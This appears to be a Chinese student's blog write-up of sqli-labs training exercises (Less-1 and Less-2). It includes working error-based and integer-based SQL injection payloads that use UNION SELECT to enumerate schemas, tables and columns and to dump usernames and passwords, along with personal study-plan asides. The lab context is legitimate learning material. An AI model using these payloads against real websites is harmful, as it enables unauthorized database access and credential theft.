靶场练习--sqli(1&2)

前言

懒猪赵肥肥耍了3天3夜,每天除了练英语口语,啥子都没干。今天开始发愤图强,嘻嘻~ 计划内容有:靶场、视频、python、PHP、java、计算机英语。

首先,每天必搞靶场必看视频必学java和英语。2天硬性计划:15关,2视频,java学习4-6小时。......最后,如果我不学习,那我就是赵肥肥肥!

0x01 第一关 

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

1.首先判断闭合

(# 作用:注释%23,记住在手工的时候最好改为URL编码)

 2.当id=1,或者id=1' ,的时候,才会报错。所以这里理解的“基于错误的get单引号字符型注入”的意思就是:通过单引号是否有报错然后

然后判断是否有注入。所以在这里,我们通过报错来判断各种信息的准确性。

 

所以这里,我们判断他的字段数为3

 3.接下来猜数据库(一般看到的是当前数据库),注意id后面就不要加东西了,要不然报出来的可能只是本次登录的dumb

?id= ' union select null,database(),3%23

4.数据库名security拿到手,开始查看所有同类数据库名称

?id= ' union select null,(select group_concat(schema_name) from information_schema.schemata),null%23

 看到数据库的名字了,接下来看具体的表名。

5.查找security数据库的所有表名

?id= 'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = security and table_name = user)%23

 但是 数据库+表名 需要通过16进制的编码https://www.sojson.com/hexadecimal.html

0x7365637572697479
0x75736572
?id=%20%27union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%200x7365637572697479%20and%20table_name%20=%200x75736572)%23

 然后费了很大力气,看不懂这些是啥。。

错误原因:我在security数据库里面找有没有user这一列干嘛??要是没有找到,,那不就GG了。。所以我的sql注入盲区还有:认为注入就是瞎猜。。。我真是脑洞大开。。现在我们的目标是,在注入的时候,要让注入点吐出真正的东西,而不是自己去猜。

所以我们这步正确的打开方式:查询security里面所有的表名!列名有:users、emails...

?id= ' union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23

 

6.表名里面选择一个有价值的,爆破列名

?id= ' union select null,null,(select group_concat(column_name) from information_schema.columns where table_name='users')%23

7.发现目标username和password,继续挖掘,发现用户名和密码

?id=%20%27%20union%20select null,null,(select group_concat(username,0x3a,password) from users)%23

注意:group_concat函数,可以显示出具体的字符;group_concat(username,0x3a,password),这里面的0x3a就是起到一个分割的作用,如果我输入的是0x3b(;)那么出现的就是以分号为分隔符~

总结第一关:老套路,看报错,返回完全正常,那就是OK的。返回页面有问题(不是404、403那些。。),就是you注入点。我们应该通过提示信息,先判断字段,再猜数据库名字---全部数据库---某个特殊数据库包含的表名----表名得列名--爆密码。https://www.cnblogs.com/-zhong/p/10877728.html

【今天第一关!居然闯了一个半小时!啊!蠢货!明天继续】

 0x02 第二关

 GET - Error based - Intiger based (基于错误的GET整型注入)

 考研OR实习,我都苦恼几天了,每天做梦都是考研,又怕考上了耽搁了网络安全这条大船。毕竟成都网络空间安全少,走渗透更少。

唉。今天也想了一上午。。唉。。奈何身边大佬太多,无论是应用型还是学术型,都是让人瞠目结舌。

1.第一关加的 ' ,进行判断是否被过滤且通过返回错误查看是何种注入类型(字符型、数字型),在第二关这

http://blog.sina.com.cn/s/blog_5a5c92980102xfqg.html

3个字段,接下来猜数据库名

奇怪的很,id=* union select null,select(database()),null%23 查看数据库名,但是根据id的值随便填写,爆出不同的字符很正常更感觉就是密码了。。。然后我这里错了,因为id的值为-1,才能爆出数据库名,原因是:

  

通过security这个数据库,查看其他同级数据库(鸡肋???)

(select group_concat(schema_name) from information_schema.schemata)

还是进入security数据库,或者让他显示所有的表名

  • (select group_concat(table_name) from information_schema.tables where table_schema='security')
  • (select group_concat(table_name) from information_schema.tables where table_schema=databse())

选择一个看起来顺眼的表:

查找信息(列名),发现这个users表里面有形如password的敏感字段:

(select group_concat(column_name) from information_schema.columns where table_name='users')

显示密码:

  • schema_name -> table_name -> column_name,from后面的“单位”要和前面一致
  • 步骤不能乱,随意输入可能会显示出想要的信息,但是没有办法进一步继续
  • (,,,,,)括号里面用逗号
  • column column column
原文地址:https://www.cnblogs.com/TEAM0N/p/11178481.html